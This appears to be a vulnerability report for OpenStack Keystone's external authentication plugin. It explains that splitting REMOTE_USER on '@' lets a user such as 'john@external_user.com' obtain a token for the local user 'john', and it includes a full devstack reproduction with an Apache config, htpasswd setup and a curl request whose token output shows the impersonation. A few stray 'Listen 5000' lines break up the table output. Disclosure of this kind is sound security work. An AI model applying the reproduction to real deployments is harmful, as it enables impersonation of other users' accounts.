Hi there.
Keystone allows the usage of external authentication. This external
authentication makes possible for the deployers to integrate external
euth methods in Keystone. When it is executed as a WSGI application
(for example when executed behind apache using mod_wsgi) the
authentication can be made by the web server and the user will be
passed down using the REMOTE_USER environment variable. It is also
possible to use external authn by creating a custom WSGI filter that
will be pipelined. More details of this behaviour can be seen in [0].
[0] http://docs.openstack.org/developer/keystone/external-auth.html
Since the Havana release, this code has been refactored and moved to a
pluggable mechanism under keystone/auth/plugins/external.py. If I am
not wrong, this was introduced in commit
88c319e6bce98082f9a90b8b27726793d5366326 [1]. This code is in
stable/havana since that commit, and is currently in the trunk.
[1] https://github.com/openstack/keystone/commit/88c319e6bce98082f9a90b8b27726793d5366326
During the review of [2] the ExternalDefault plugin I've realized that
the way the plugin extracts the username can lead to impersonation.
The excerpt of code that extracts the username is this one [3]:
names = remote_user.split('@')
username = names.pop(0)
domain_id = CONF.identity.default_domain_id
user_ref = auth_info.identity_api.get_user_by_name(username,
domain_id)
When Keystone is configured to use the defualt domain, the REMOTE_USER
variable is splited by all the "@" and then only the leftfmost part is
considered, while the leftovers are discarded. Since a username can
contain "@" inside (for example when emails are used as usernames)
"john" "<email address hidden>" and "<email address hidden>" will all get a token
belonging to the "john" user.
[2] https://review.openstack.org/#/c/50362
[3] https://github.com/openstack/keystone/blob/stable/havana/keystone/auth/plugins/external.py#L39
External authentication opens the door for any deployer to use any
authentication mechanism. OpenStack does not ship any external
authentication mechanism, but it is perfectly possible to use emails
as the usernames (or usernames containing "@", as X509 certificate
DNs). For example, a LDAP directory could be configured in Apache to
let the users in, and set the REMOTE_USER as the username, instead of
the user DN.
It is possible to easily reproduce this using devstack as follows:
ubuntu@test-ks-vuln:~/devstack$ cat > localrc << EOF
> ENABLED_SERVICES=key,mysql
> APACHE_ENABLED_SERVICES+=keystone
> EOF
ubuntu@test-ks-vuln:~/devstack$ ./stack.sh
(...)
ubuntu@test-ks-vuln:~/devstack$ source openrc admin admin
ubuntu@test-ks-vuln:~/devstack$ keystone user-list
+----------------------------------+-------+---------+-------------------+
| id | name | enabled | email |
+----------------------------------+-------+---------+-------------------+
| dc90b499a1c0499997bd35ba19a2436c | admin | True | <email address hidden> |
| 685cd73e645243c2ba81314cbc5ac89a | demo | True | <email address hidden> |
+----------------------------------+-------+---------+-------------------+
ubuntu@test-ks-vuln:~/devstack$ keystone tenant-list
+----------------------------------+--------------------+---------+
| id | name | enabled |
+----------------------------------+--------------------+---------+
| d5319bc5b7054e0589ad32048813ee1a | admin | True |
| badfa689e32a4d9fb7d102a7d92ad3b7 | demo | True |
| 110627ae8c534b548d70a5a159ff65ee | invisible_to_admin | True |
| 92484643deb246e680ee3d716a7dfeea | service | True |
+----------------------------------+--------------------+---------+
ubuntu@test-ks-vuln:~/devstack$ keystone tenant-create --name external_users
+-------------+----------------------------------+
| Property | Value |
+-------------+----------------------------------+
| description | |
Listen 5000
| enabled | True |
Listen 5000
| id | 3ac4e3f06a3548378eb26e3be8dc3952 |
| name | external_users |
+-------------+----------------------------------+
ubuntu@test-ks-vuln:~/devstack$ keystone user-create --name john --tenant d5319bc5b7054e0589ad32048813ee1a --pass secret
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
Listen 5000
| enabled | True |
| id | a8fe063e8a124f89ada9526d401aad98 |
| name | john |
| tenantId | d5319bc5b7054e0589ad32048813ee1a |
+----------+----------------------------------+
ubuntu@test-ks-vuln:~/devstack$ keystone user-create --name john@external_user.com --tenant 3ac4e3f06a3548378eb26e3be8dc3952 --pass secret
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
| enabled | True |
| id | 6af78b4bdca646a68069d74cdf8e5334 |
| name | john@external_user.com |
| tenantId | 3ac4e3f06a3548378eb26e3be8dc3952 |
+----------+----------------------------------+
So far I've two different users. For the shake of simplicity I will
use Apache's basic authentication, so it is needed to add the
following excerpt to /etc/apache2/sites-enabled/keystone:
Listen 5001
<VirtualHost *:5001>
WSGIDaemonProcess keystone-public2 processes=5 threads=1 user=ubuntu
WSGIProcessGroup keystone-public2
WSGIScriptAlias / /var/www/keystone/main
WSGIApplicationGroup %{GLOBAL}
ErrorLog /var/log/apache2/keystone
LogLevel debug
CustomLog /var/log/apache2/access.log combined
<Location />
AuthType Basic
AuthName "Restricted Files"
AuthBasicProvider file
AuthUserFile /opt/stack/htpasswd
Require valid-user
</Location>
</VirtualHost>
And then, create the external user, and authenticate with it:
ubuntu@test-ks-vuln:~/devstack$ sudo htpasswd -c /opt/stack/htpasswd john@external_user.com
New password:
Re-type new password:
Adding password for user john@external_user.com
ubuntu@test-ks-vuln:~/devstack$ sudo /etc/init.d/apache2 restart
* Restarting web server apache2
* ... waiting
ubuntu@test-ks-vuln:~/devstack$
ubuntu@test-ks-vuln:~$ curl --user john@external_user.com:secret -d '{"auth": {"identity":{ "methods": []}}}' -H "Content-type: application/json" http://172.16.0.63:5001/v3/auth/tokens |python -mjson.tool
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1134 100 1095 100 39 2301 81 --:--:-- --:--:-- --:--:-- 2300
{
"token": {
"catalog": [
{
"endpoints": [
{
"id": "d0b2b692496a4d2c8a70e63543782aed",
"interface": "internal",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:5000/v2.0"
},
{
"id": "da7fe597a1b84529910e890807b47bdb",
"interface": "admin",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:35357/v2.0"
},
{
"id": "eeda9fbcffe94588ad15689d33f2c1e9",
"interface": "public",
"legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e",
"region": "RegionOne",
"url": "http://172.16.0.63:5000/v2.0"
}
],
"id": "14a4bd4966b74503ab2fb47836101824",
"type": "identity"
}
],
"expires_at": "2013-11-26T23:04:55.341085Z",
"extras": {},
"issued_at": "2013-11-25T23:04:55.341121Z",
"methods": [],
"project": {
"domain": {
"id": "default",
"name": "Default"
},
"id": "d5319bc5b7054e0589ad32048813ee1a",
"name": "admin"
},
"roles": [
{
"id": "9fe2ff9ee4384b1894a90878d3e92bab",
"name": "_member_"
}
],
"user": {
"domain": {
"id": "default",
"name": "Default"
},
"id": "a8fe063e8a124f89ada9526d401aad98",
"name": "john"
}
}
}
As you can see, I am getting the id for the user "john"
(a8fe063e8a124f89ada9526d401aad98) instead of the user
"john@example_user.com" (6af78b4bdca646a68069d74cdf8e5334). The patch
in [2] should fix this issue (although it was initially unrelated)
since it does not split the username when using the ExternalDefault
plugin.
Trying to determine whether this merits an advisory... can you expand on your scenario above? When you suggest "an external
plugin that uses the email as the username" is this common/recommended practice? Also, what releases contain code vulnerable to this?